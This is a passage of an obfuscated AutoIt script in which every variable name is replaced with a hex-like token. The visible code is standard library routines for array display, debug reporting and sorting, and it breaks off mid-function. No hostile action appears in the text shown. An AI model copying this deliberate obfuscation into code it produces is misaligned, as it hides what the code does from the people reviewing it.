#pragma compile(inputboxres, true) #AutoIt3Wrapper_UseX64=y Global Const $744CAF08E36C9E4E = 1 Global Const $744CAD38CF6C9E4E = 1 Global Const $744CAF3873AC9E4E = 2 Global Const $7448AF31C36C9E4E = 4 Global Const $744C4F38C30C9E4E = 4 Global Const $744C2F3EC36C9E4E = 11 Global $74486F38C36C9E4E[$744C2F3EC36C9E4E] Global Const $744CAF18C06C9E4E = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & _ "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct" #Au3Stripper_Ignore_Funcs=__ArrayDisplay_SortCallBack Func __ArrayDisplay_SortCallBack($744C0F68C36C9E4E,$744CA5A8C36C9E4E,$744C6F38036C9E4E) If $74486F38C36C9E4E[3]=$74486F38C36C9E4E[4] Then If Not $74486F38C36C9E4E[7] Then $74486F38C36C9E4E[5]*=-1 _ArrayVarIsNumber($74486F38C36C9E4E,7,1) EndIf Else _ArrayVarIsNumber($74486F38C36C9E4E,7,1) EndIf _ArrayVarIsArrayVar($74486F38C36C9E4E,6,$74486F38C36C9E4E,3) Local $744CAD35C36C9E4E=__ArrayDisplay_GetItemText($744C6F38036C9E4E,$744C0F68C36C9E4E,$74486F38C36C9E4E[ 3 ]) Local $74485F38C36C9E4E=__ArrayDisplay_GetItemText($744C6F38036C9E4E,$744CA5A8C36C9E4E,$74486F38C36C9E4E[ 3 ]) If $74486F38C36C9E4E[8]= 1 Then If (StringIsFloat($744CAD35C36C9E4E) Or StringIsInt($744CAD35C36C9E4E)) Then $744CAD35C36C9E4E=Number($744CAD35C36C9E4E) If (StringIsFloat($74485F38C36C9E4E) Or StringIsInt($74485F38C36C9E4E)) Then $74485F38C36C9E4E=Number($74485F38C36C9E4E) EndIf Local $744CAF3DC3619E4E If $74486F38C36C9E4E[8]< 2 Then $744CAF3DC3619E4E= 0 If $744CAD35C36C9E4E<$74485F38C36C9E4E Then _VarIsNumber($744CAF3DC3619E4E,-1) ElseIf $744CAD35C36C9E4E>$74485F38C36C9E4E Then _VarIsNumber($744CAF3DC3619E4E,1) EndIf Else $744CAF3DC3619E4E=DllCall('shlwapi.dll','int','StrCmpLogicalW','wstr',$744CAD35C36C9E4E,'wstr',$74485F38C36C9E4E)[ 0 ] EndIf _VarIsArrayVar($744CAF3DC3619E4E,$744CAF3DC3619E4E,5) Return $744CAF3DC3619E4E EndFunc Func __ArrayDisplay_GetItemText($744C6F38036C9E4E,$744CAFF8C3639E4E,$744C2F38C3619E4E= 0) Local $744CAF38C3809E4E=DllStructCreate("wchar Text[4096]") Local $744CA234C36C9E4E=DllStructGetPtr($744CAF38C3809E4E) Local $744C9338C36C9E4E=DllStructCreate($744CAF18C06C9E4E) DllStructSetData($744C9338C36C9E4E,"SubItem",$744C2F38C3619E4E) DllStructSetData($744C9338C36C9E4E,"TextMax", 4096 ) DllStructSetData($744C9338C36C9E4E,"Text",$744CA234C36C9E4E) If IsHWnd($744C6F38036C9E4E) Then DllCall("user32.dll","lresult","SendMessageW","hwnd",$744C6F38036C9E4E,"uint", 0x1073 ,"wparam",$744CAFF8C3639E4E,"struct*",$744C9338C36C9E4E) Else Local $744AAF38C36A9E4E=DllStructGetPtr($744C9338C36C9E4E) GUICtrlSendMsg($744C6F38036C9E4E, 0x1073 ,$744CAFF8C3639E4E,$744AAF38C36A9E4E) EndIf Return DllStructGetData($744CAF38C3809E4E,"Text") EndFunc Global Const $744CAFE8C3EC9E4E = 0x00001000 Func _WinAPI_GetLastError(Const $744C4FE8C36C9E4E=@error, Const $744C5F38C3689E4E=@extended) Local $744CA838C36C9E4E=DllCall("kernel32.dll","dword","GetLastError") Return SetError($744C4FE8C36C9E4E,$744C5F38C3689E4E,$744CA838C36C9E4E[ 0 ]) EndFunc Global Const $744CAF68C38C9E4E = "Debug Window hidden text" Global $7443AF30C36C9E4E = "AutoIt Debug Report" Global $744C8F3CC36C9E4E = 0 Global $744CAE36C36C9E4E = True Global $744CAE38C3649E4E = True Global $744CA538136C9E4E = 0 Global $744CAF38066C9E4E Global $744CAF36436C9E4E = False Func _DebugReport($744CAF38C1609E4E,$744C0F38C36F9E4E= False,$7444AFD8C36C9E4E= False, Const $744C4FE8C36C9E4E=@error,$744C5F38C3689E4E=@extended) If $744C8F3CC36C9E4E<= 0 Or $744C8F3CC36C9E4E> 6 Then Return SetError($744C4FE8C36C9E4E,$744C5F38C3689E4E, 0 ) $744C5F38C3689E4E=__Debug_ReportWrite($744CAF38C1609E4E,$744C0F38C36F9E4E) If $7444AFD8C36C9E4E Then Exit Return SetError($744C4FE8C36C9E4E,$744C5F38C3689E4E, 1 ) EndFunc Func __Debug_ReportClose() If $744C8F3CC36C9E4E= 1 Then WinSetOnTop($7443AF30C36C9E4E,"", 1 ) _DebugReport('>>>>>> Please close the "Report Log Window" to exit <<<<<<<'&@CRLF) __Debug_ReportWindowWaitClose() ElseIf $744C8F3CC36C9E4E= 6 Then Execute($744CAF38066C9E4E&")") EndIf $744C8F3CC36C9E4E= 0 EndFunc Func __Debug_ReportWindowWaitClose() If Not $744CAE36C36C9E4E Then Return 0 Local $744C2FA8C36C9E4E=Opt("WinDetectHiddenText",$744CAF08E36C9E4E) Local $744C3938C36C9E4E=WinGetHandle($7443AF30C36C9E4E,$744CAF68C38C9E4E) Opt("WinDetectHiddenText",$744C2FA8C36C9E4E) $744C2FA8C36C9E4E=Opt('GUIOnEventMode', 0 ) Local Const $744CA068C36C9E4E=-3 Local $7443AF18C36C9E4E While WinExists(HWnd($744C3938C36C9E4E)) $7443AF18C36C9E4E=GUIGetMsg( 1 ) If $7443AF18C36C9E4E[ 1 ]=$744C3938C36C9E4E And $7443AF18C36C9E4E[ 0 ]=$744CA068C36C9E4E Then GUIDelete($744C3938C36C9E4E) WEnd Opt('GUIOnEventMode',$744C2FA8C36C9E4E) $744CA538136C9E4E= 0 $744CAE36C36C9E4E= True $744CAE38C3649E4E= True EndFunc Func __Debug_ReportWrite($744CAF38C1609E4E,$744C0F38C36F9E4E= False,$744AAF38C3659E4E=@extended) Local $7443AF38C76C9E4E=@CRLF If $744CAF36436C9E4E And ($744CAF38C1609E4E<>"") Then $744CAF38C1609E4E=@YEAR& _ "/"&@MON& _ "/"&@MDAY& _ " "&@HOUR& _ ":"&@MIN& _ ":"&@SEC& _ " "&$744CAF38C1609E4E If $744C0F38C36F9E4E Then $744AAF38C3659E4E=_WinAPI_GetLastError() Local Const $744CAFE8C3EC9E4E= 0x1000 Local $744CA838C36C9E4E=DllCall("kernel32.dll","dword","FormatMessageW","dword",$744CAFE8C3EC9E4E,"ptr", 0 ,"dword",$744AAF38C3659E4E,"dword", 0 ,"wstr","","dword", 4096 ,"ptr", 0 ) $7443AF38C76C9E4E=" : "&$744CA838C36C9E4E[5] EndIf $744CAF38C1609E4E&=$7443AF38C76C9E4E Local $7449AF88C36C9E4E=BlockInput( 1 ) BlockInput( 0 ) $744CAF38C1609E4E=StringReplace($744CAF38C1609E4E,"'","''") Execute($744CAF38066C9E4E&"'"&$744CAF38C1609E4E&"')") If Not $7449AF88C36C9E4E Then BlockInput( 1 ) Return $744AAF38C3659E4E EndFunc Global Enum $744CAF3EC66C9E4E , $744CAF38C3C69E4E , $744CA288C36C9E4E , $744CA138C3699E4E , $744CAA38CE6C9E4E , $744DAE38C36C9E4E , $744C9F38F36C9E4E , $744C4F38C3CC9E4E Global Enum $744CAF38C2BC9E4E , $744DAF3AC36C9E4E Global Enum $744DAFB8C36C9E4E , $744CAFE8536C9E4E , $7446AFC8C36C9E4E , $744CA232C36C9E4E , $744CA138C3BC9E4E Func __ArrayQuickSort1D(ByRef $744AAF38C36C9E4E, Const ByRef $7443AF31C36C9E4E, Const ByRef $7447AF3AC36C9E4E) If $7447AF3AC36C9E4E<=$7443AF31C36C9E4E Then Return Local $744C3F38C39C9E4E If ($7447AF3AC36C9E4E-$7443AF31C36C9E4E)< 15 Then Local $7447AF38CE6C9E4E For $744CAF18C36C9E4E=$7443AF31C36C9E4E+ 1 To $7447AF3AC36C9E4E _VarIsArrayVar($744C3F38C39C9E4E,$744AAF38C36C9E4E,$744CAF18C36C9E4E) If IsNumber($744C3F38C39C9E4E) Then For $744CAF3FC36E9E4E=$744CAF18C36C9E4E- 1 To $7443AF31C36C9E4E Step -1 _VarIsArrayVar($7447AF38CE6C9E4E,$744AAF38C36C9E4E,$744CAF3FC36E9E4E) If ($744C3F38C39C9E4E>=$7447AF38CE6C9E4E And IsNumber($7447AF38CE6C9E4E)) Or ( Not IsNumber($7447AF38CE6C9E4E) And StringCompare($744C3F38C39C9E4E,$7447AF38CE6C9E4E)>= 0 ) Then ExitLoop _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3FC36E9E4E+ 1,$7447AF38CE6C9E4E) Next Else For $744CAF3FC36E9E4E=$744CAF18C36C9E4E- 1 To $7443AF31C36C9E4E Step -1 If (StringCompare($744C3F38C39C9E4E,$744AAF38C36C9E4E[$744CAF3FC36E9E4E])>= 0 ) Then ExitLoop _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF3FC36E9E4E+ 1,$744AAF38C36C9E4E,$744CAF3FC36E9E4E) Next EndIf _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3FC36E9E4E+ 1,$744C3F38C39C9E4E) Next Return EndIf Local $744CA828C36C9E4E=$7443AF31C36C9E4E,$744FAFF8C36C9E4E=$7447AF3AC36C9E4E,$744C2F38C34C9E4E=$744AAF38C36C9E4E[Int(($7443AF31C36C9E4E+$7447AF3AC36C9E4E)/ 2 )],$7449AF38C3649E4E=IsNumber($744C2F38C34C9E4E) Do If $7449AF38C3649E4E Then While ($744AAF38C36C9E4E[$744CA828C36C9E4E]<$744C2F38C34C9E4E And IsNumber($744AAF38C36C9E4E[$744CA828C36C9E4E])) Or ( Not IsNumber($744AAF38C36C9E4E[$744CA828C36C9E4E]) And StringCompare($744AAF38C36C9E4E[$744CA828C36C9E4E],$744C2F38C34C9E4E)< 0 ) $744CA828C36C9E4E+= 1 WEnd While ($744AAF38C36C9E4E[$744FAFF8C36C9E4E]>$744C2F38C34C9E4E And IsNumber($744AAF38C36C9E4E[$744FAFF8C36C9E4E])) Or ( Not IsNumber($744AAF38C36C9E4E[$744FAFF8C36C9E4E]) And StringCompare($744AAF38C36C9E4E[$744FAFF8C36C9E4E],$744C2F38C34C9E4E)> 0 ) $744FAFF8C36C9E4E-= 1 WEnd Else While (StringCompare($744AAF38C36C9E4E[$744CA828C36C9E4E],$744C2F38C34C9E4E)< 0 ) $744CA828C36C9E4E+= 1 WEnd While (StringCompare($744AAF38C36C9E4E[$744FAFF8C36C9E4E],$744C2F38C34C9E4E)> 0 ) $744FAFF8C36C9E4E-= 1 WEnd EndIf If $744CA828C36C9E4E<=$744FAFF8C36C9E4E Then _VarIsArrayVar($744C3F38C39C9E4E,$744AAF38C36C9E4E,$744CA828C36C9E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CA828C36C9E4E,$744AAF38C36C9E4E,$744FAFF8C36C9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744FAFF8C36C9E4E,$744C3F38C39C9E4E) $744CA828C36C9E4E+= 1 $744FAFF8C36C9E4E-= 1 EndIf Until $744CA828C36C9E4E>$744FAFF8C36C9E4E __ArrayQuickSort1D($744AAF38C36C9E4E,$7443AF31C36C9E4E,$744FAFF8C36C9E4E) __ArrayQuickSort1D($744AAF38C36C9E4E,$744CA828C36C9E4E,$7447AF3AC36C9E4E) EndFunc Func __ArrayQuickSort2D(ByRef $744AAF38C36C9E4E, Const ByRef $7440AF38936C9E4E, Const ByRef $7443AF31C36C9E4E, Const ByRef $7447AF3AC36C9E4E, Const ByRef $744C2F38C3619E4E, Const ByRef $744CAF98C36E9E4E) If $7447AF3AC36C9E4E<=$7443AF31C36C9E4E Then Return Local $744C3F38C39C9E4E,$744CA828C36C9E4E=$7443AF31C36C9E4E,$744FAFF8C36C9E4E=$7447AF3AC36C9E4E,$744C2F38C34C9E4E=$744AAF38C36C9E4E[Int(($7443AF31C36C9E4E+$7447AF3AC36C9E4E)/ 2 )][$744C2F38C3619E4E],$7449AF38C3649E4E=IsNumber($744C2F38C34C9E4E) Do If $7449AF38C3649E4E Then While ($7440AF38936C9E4E*($744AAF38C36C9E4E[$744CA828C36C9E4E][$744C2F38C3619E4E]-$744C2F38C34C9E4E)< 0 And IsNumber($744AAF38C36C9E4E[$744CA828C36C9E4E][$744C2F38C3619E4E])) Or ( Not IsNumber($744AAF38C36C9E4E[$744CA828C36C9E4E][$744C2F38C3619E4E]) And $7440AF38936C9E4E*StringCompare($744AAF38C36C9E4E[$744CA828C36C9E4E][$744C2F38C3619E4E],$744C2F38C34C9E4E)< 0 ) $744CA828C36C9E4E+= 1 WEnd While ($7440AF38936C9E4E*($744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744C2F38C3619E4E]-$744C2F38C34C9E4E)> 0 And IsNumber($744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744C2F38C3619E4E])) Or ( Not IsNumber($744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744C2F38C3619E4E]) And $7440AF38936C9E4E*StringCompare($744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744C2F38C3619E4E],$744C2F38C34C9E4E)> 0 ) $744FAFF8C36C9E4E-= 1 WEnd Else While ($7440AF38936C9E4E*StringCompare($744AAF38C36C9E4E[$744CA828C36C9E4E][$744C2F38C3619E4E],$744C2F38C34C9E4E)< 0 ) $744CA828C36C9E4E+= 1 WEnd While ($7440AF38936C9E4E*StringCompare($744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744C2F38C3619E4E],$744C2F38C34C9E4E)> 0 ) $744FAFF8C36C9E4E-= 1 WEnd EndIf If $744CA828C36C9E4E<=$744FAFF8C36C9E4E Then For $744CAF18C36C9E4E= 0 To $744CAF98C36E9E4E $744C3F38C39C9E4E=$744AAF38C36C9E4E[$744CA828C36C9E4E][$744CAF18C36C9E4E] $744AAF38C36C9E4E[$744CA828C36C9E4E][$744CAF18C36C9E4E]=$744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744CAF18C36C9E4E] $744AAF38C36C9E4E[$744FAFF8C36C9E4E][$744CAF18C36C9E4E]=$744C3F38C39C9E4E Next $744CA828C36C9E4E+= 1 $744FAFF8C36C9E4E-= 1 EndIf Until $744CA828C36C9E4E>$744FAFF8C36C9E4E __ArrayQuickSort2D($744AAF38C36C9E4E,$7440AF38936C9E4E,$7443AF31C36C9E4E,$744FAFF8C36C9E4E,$744C2F38C3619E4E,$744CAF98C36E9E4E) __ArrayQuickSort2D($744AAF38C36C9E4E,$7440AF38936C9E4E,$744CA828C36C9E4E,$7447AF3AC36C9E4E,$744C2F38C3619E4E,$744CAF98C36E9E4E) EndFunc Func __ArrayDualPivotSort(ByRef $744AAF38C36C9E4E,$744CAF38A37C9E4E,$744CA2E8C36C9E4E,$744C9F3AC36C9E4E= True) If $744CAF38A37C9E4E>$744CA2E8C36C9E4E Then Return Local $744C2F38436C9E4E=$744CA2E8C36C9E4E-$744CAF38A37C9E4E+ 1 Local $744CAF18C36C9E4E,$744CAF3FC36E9E4E,$744C4F38C36B9E4E,$744CAF78CF6C9E4E,$744C0F38336C9E4E,$744CAFC8B36C9E4E,$744CAFCFC36C9E4E,$744CAF38B32C9E4E If $744C2F38436C9E4E< 45 Then If $744C9F3AC36C9E4E Then _VarIsVar($744CAF18C36C9E4E,$744CAF38A37C9E4E) While $744CAF18C36C9E4E<$744CA2E8C36C9E4E _VarIsVar($744CAF3FC36E9E4E,$744CAF18C36C9E4E) _VarIsArrayVar($744CAF78CF6C9E4E,$744AAF38C36C9E4E,$744CAF18C36C9E4E+ 1) While $744CAF78CF6C9E4E<$744AAF38C36C9E4E[$744CAF3FC36E9E4E] _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF3FC36E9E4E+ 1,$744AAF38C36C9E4E,$744CAF3FC36E9E4E) $744CAF3FC36E9E4E-= 1 If $744CAF3FC36E9E4E+ 1 =$744CAF38A37C9E4E Then ExitLoop WEnd _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3FC36E9E4E+ 1,$744CAF78CF6C9E4E) $744CAF18C36C9E4E+= 1 WEnd Else While 1 If $744CAF38A37C9E4E>=$744CA2E8C36C9E4E Then Return 1 $744CAF38A37C9E4E+= 1 If $744AAF38C36C9E4E[$744CAF38A37C9E4E]<$744AAF38C36C9E4E[$744CAF38A37C9E4E- 1] Then ExitLoop WEnd While 1 _VarIsVar($744C4F38C36B9E4E,$744CAF38A37C9E4E) $744CAF38A37C9E4E+= 1 If $744CAF38A37C9E4E>$744CA2E8C36C9E4E Then ExitLoop _VarIsArrayVar($744CAFC8B36C9E4E,$744AAF38C36C9E4E,$744C4F38C36B9E4E) _VarIsArrayVar($744CAFCFC36C9E4E,$744AAF38C36C9E4E,$744CAF38A37C9E4E) If $744CAFC8B36C9E4E<$744CAFCFC36C9E4E Then _VarIsVar($744CAFCFC36C9E4E,$744CAFC8B36C9E4E) _VarIsArrayVar($744CAFC8B36C9E4E,$744AAF38C36C9E4E,$744CAF38A37C9E4E) EndIf $744C4F38C36B9E4E-= 1 While $744CAFC8B36C9E4E<$744AAF38C36C9E4E[$744C4F38C36B9E4E] _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E+ 2,$744AAF38C36C9E4E,$744C4F38C36B9E4E) $744C4F38C36B9E4E-= 1 WEnd _ArrayVarIsVar($744AAF38C36C9E4E,$744C4F38C36B9E4E+ 2,$744CAFC8B36C9E4E) While $744CAFCFC36C9E4E<$744AAF38C36C9E4E[$744C4F38C36B9E4E] _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E+ 1,$744AAF38C36C9E4E,$744C4F38C36B9E4E) $744C4F38C36B9E4E-= 1 WEnd _ArrayVarIsVar($744AAF38C36C9E4E,$744C4F38C36B9E4E+ 1,$744CAFCFC36C9E4E) $744CAF38A37C9E4E+= 1 WEnd _VarIsArrayVar($744CAF38B32C9E4E,$744AAF38C36C9E4E,$744CA2E8C36C9E4E) $744CA2E8C36C9E4E-= 1 While $744CAF38B32C9E4E<$744AAF38C36C9E4E[$744CA2E8C36C9E4E] _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CA2E8C36C9E4E+ 1,$744AAF38C36C9E4E,$744CA2E8C36C9E4E) $744CA2E8C36C9E4E-= 1 WEnd _ArrayVarIsVar($744AAF38C36C9E4E,$744CA2E8C36C9E4E+ 1,$744CAF38B32C9E4E) EndIf Return 1 EndIf Local $744CAF38C37C9E4E=BitShift($744C2F38436C9E4E, 3 )+BitShift($744C2F38436C9E4E, 6 )+ 1 Local $744CAF38CECC9E4E,$744CAF50C36C9E4E,$744C3F35C36C9E4E,$744CAF38CB669E4E,$7440AF38C3619E4E,$744CA118C36C9E4E $744C3F35C36C9E4E=Ceiling(($744CAF38A37C9E4E+$744CA2E8C36C9E4E)/ 2 ) $744CAF50C36C9E4E=$744C3F35C36C9E4E-$744CAF38C37C9E4E $744CAF38CECC9E4E=$744CAF50C36C9E4E-$744CAF38C37C9E4E $744CAF38CB669E4E=$744C3F35C36C9E4E+$744CAF38C37C9E4E $7440AF38C3619E4E=$744CAF38CB669E4E+$744CAF38C37C9E4E If $744AAF38C36C9E4E[$744CAF50C36C9E4E]<$744AAF38C36C9E4E[$744CAF38CECC9E4E] Then _VarIsArrayVar($744CA118C36C9E4E,$744AAF38C36C9E4E,$744CAF50C36C9E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744AAF38C36C9E4E,$744CAF38CECC9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF38CECC9E4E,$744CA118C36C9E4E) EndIf If $744AAF38C36C9E4E[$744C3F35C36C9E4E]<$744AAF38C36C9E4E[$744CAF50C36C9E4E] Then _VarIsArrayVar($744CA118C36C9E4E,$744AAF38C36C9E4E,$744C3F35C36C9E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C3F35C36C9E4E,$744AAF38C36C9E4E,$744CAF50C36C9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744CA118C36C9E4E) If $744CA118C36C9E4E<$744AAF38C36C9E4E[$744CAF38CECC9E4E] Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744AAF38C36C9E4E,$744CAF38CECC9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF38CECC9E4E,$744CA118C36C9E4E) EndIf EndIf If $744AAF38C36C9E4E[$744CAF38CB669E4E]<$744AAF38C36C9E4E[$744C3F35C36C9E4E] Then _VarIsArrayVar($744CA118C36C9E4E,$744AAF38C36C9E4E,$744CAF38CB669E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF38CB669E4E,$744AAF38C36C9E4E,$744C3F35C36C9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744C3F35C36C9E4E,$744CA118C36C9E4E) If $744CA118C36C9E4E<$744AAF38C36C9E4E[$744CAF50C36C9E4E] Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C3F35C36C9E4E,$744AAF38C36C9E4E,$744CAF50C36C9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744CA118C36C9E4E) If $744CA118C36C9E4E<$744AAF38C36C9E4E[$744CAF38CECC9E4E] Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744AAF38C36C9E4E,$744CAF38CECC9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF38CECC9E4E,$744CA118C36C9E4E) EndIf EndIf EndIf If $744AAF38C36C9E4E[$7440AF38C3619E4E]<$744AAF38C36C9E4E[$744CAF38CB669E4E] Then _VarIsArrayVar($744CA118C36C9E4E,$744AAF38C36C9E4E,$7440AF38C3619E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$7440AF38C3619E4E,$744AAF38C36C9E4E,$744CAF38CB669E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF38CB669E4E,$744CA118C36C9E4E) If $744CA118C36C9E4E<$744AAF38C36C9E4E[$744C3F35C36C9E4E] Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF38CB669E4E,$744AAF38C36C9E4E,$744C3F35C36C9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744C3F35C36C9E4E,$744CA118C36C9E4E) If $744CA118C36C9E4E<$744AAF38C36C9E4E[$744CAF50C36C9E4E] Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C3F35C36C9E4E,$744AAF38C36C9E4E,$744CAF50C36C9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744CA118C36C9E4E) If $744CA118C36C9E4E<$744AAF38C36C9E4E[$744CAF38CECC9E4E] Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744AAF38C36C9E4E,$744CAF38CECC9E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF38CECC9E4E,$744CA118C36C9E4E) EndIf EndIf EndIf EndIf Local $744CAF3AC3619E4E=$744CAF38A37C9E4E Local $744CAF32C86C9E4E=$744CA2E8C36C9E4E If (($744AAF38C36C9E4E[$744CAF38CECC9E4E]<>$744AAF38C36C9E4E[$744CAF50C36C9E4E]) And ($744AAF38C36C9E4E[$744CAF50C36C9E4E]<>$744AAF38C36C9E4E[$744C3F35C36C9E4E]) And ($744AAF38C36C9E4E[$744C3F35C36C9E4E]<>$744AAF38C36C9E4E[$744CAF38CB669E4E]) And ($744AAF38C36C9E4E[$744CAF38CB669E4E]<>$744AAF38C36C9E4E[$7440AF38C3619E4E])) Then Local $744CAF08C32C9E4E=$744AAF38C36C9E4E[$744CAF50C36C9E4E] Local $744CA938436C9E4E=$744AAF38C36C9E4E[$744CAF38CB669E4E] _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF50C36C9E4E,$744AAF38C36C9E4E,$744CAF38A37C9E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF38CB669E4E,$744AAF38C36C9E4E,$744CA2E8C36C9E4E) Do $744CAF3AC3619E4E+= 1 Until $744AAF38C36C9E4E[$744CAF3AC3619E4E]>=$744CAF08C32C9E4E Do $744CAF32C86C9E4E-= 1 Until $744AAF38C36C9E4E[$744CAF32C86C9E4E]<=$744CA938436C9E4E _VarIsVar($744C4F38C36B9E4E,$744CAF3AC3619E4E) While $744C4F38C36B9E4E<=$744CAF32C86C9E4E _VarIsArrayVar($744C0F38336C9E4E,$744AAF38C36C9E4E,$744C4F38C36B9E4E) If $744C0F38336C9E4E<$744CAF08C32C9E4E Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744C0F38336C9E4E) $744CAF3AC3619E4E+= 1 ElseIf $744C0F38336C9E4E>$744CA938436C9E4E Then While $744AAF38C36C9E4E[$744CAF32C86C9E4E]>$744CA938436C9E4E $744CAF32C86C9E4E-= 1 If $744CAF32C86C9E4E+ 1 =$744C4F38C36B9E4E Then ExitLoop 2 WEnd If $744AAF38C36C9E4E[$744CAF32C86C9E4E]<$744CAF08C32C9E4E Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744AAF38C36C9E4E,$744CAF32C86C9E4E) $744CAF3AC3619E4E+= 1 Else _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF32C86C9E4E) EndIf _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF32C86C9E4E,$744C0F38336C9E4E) $744CAF32C86C9E4E-= 1 EndIf $744C4F38C36B9E4E+= 1 WEnd _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CAF38A37C9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E- 1) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3AC3619E4E- 1,$744CAF08C32C9E4E) _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744CA2E8C36C9E4E,$744AAF38C36C9E4E,$744CAF32C86C9E4E+ 1) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF32C86C9E4E+ 1,$744CA938436C9E4E) __ArrayDualPivotSort($744AAF38C36C9E4E,$744CAF38A37C9E4E,$744CAF3AC3619E4E- 2 , True ) __ArrayDualPivotSort($744AAF38C36C9E4E,$744CAF32C86C9E4E+ 2 ,$744CA2E8C36C9E4E, False ) If ($744CAF3AC3619E4E<$744CAF38CECC9E4E) And ($7440AF38C3619E4E<$744CAF32C86C9E4E) Then While $744AAF38C36C9E4E[$744CAF3AC3619E4E]=$744CAF08C32C9E4E $744CAF3AC3619E4E+= 1 WEnd While $744AAF38C36C9E4E[$744CAF32C86C9E4E]=$744CA938436C9E4E $744CAF32C86C9E4E-= 1 WEnd _VarIsVar($744C4F38C36B9E4E,$744CAF3AC3619E4E) While $744C4F38C36B9E4E<=$744CAF32C86C9E4E _VarIsArrayVar($744C0F38336C9E4E,$744AAF38C36C9E4E,$744C4F38C36B9E4E) If $744C0F38336C9E4E=$744CAF08C32C9E4E Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744C0F38336C9E4E) $744CAF3AC3619E4E+= 1 ElseIf $744C0F38336C9E4E=$744CA938436C9E4E Then While $744AAF38C36C9E4E[$744CAF32C86C9E4E]=$744CA938436C9E4E $744CAF32C86C9E4E-= 1 If $744CAF32C86C9E4E+ 1 =$744C4F38C36B9E4E Then ExitLoop 2 WEnd If $744AAF38C36C9E4E[$744CAF32C86C9E4E]=$744CAF08C32C9E4E Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E) _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744CAF08C32C9E4E) $744CAF3AC3619E4E+= 1 Else _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF32C86C9E4E) EndIf _ArrayVarIsVar($744AAF38C36C9E4E,$744CAF32C86C9E4E,$744C0F38336C9E4E) $744CAF32C86C9E4E-= 1 EndIf $744C4F38C36B9E4E+= 1 WEnd EndIf __ArrayDualPivotSort($744AAF38C36C9E4E,$744CAF3AC3619E4E,$744CAF32C86C9E4E, False ) Else Local $744CAF36036C9E4E=$744AAF38C36C9E4E[$744C3F35C36C9E4E] _VarIsVar($744C4F38C36B9E4E,$744CAF3AC3619E4E) While $744C4F38C36B9E4E<=$744CAF32C86C9E4E If $744AAF38C36C9E4E[$744C4F38C36B9E4E]=$744CAF36036C9E4E Then $744C4F38C36B9E4E+= 1 ContinueLoop EndIf _VarIsArrayVar($744C0F38336C9E4E,$744AAF38C36C9E4E,$744C4F38C36B9E4E) If $744C0F38336C9E4E<$744CAF36036C9E4E Then _ArrayVarIsArrayVar($744AAF38C36C9E4E,$744C4F38C36B9E4E,$744AAF38C36C9E4E,$744CAF3AC3619E4E) 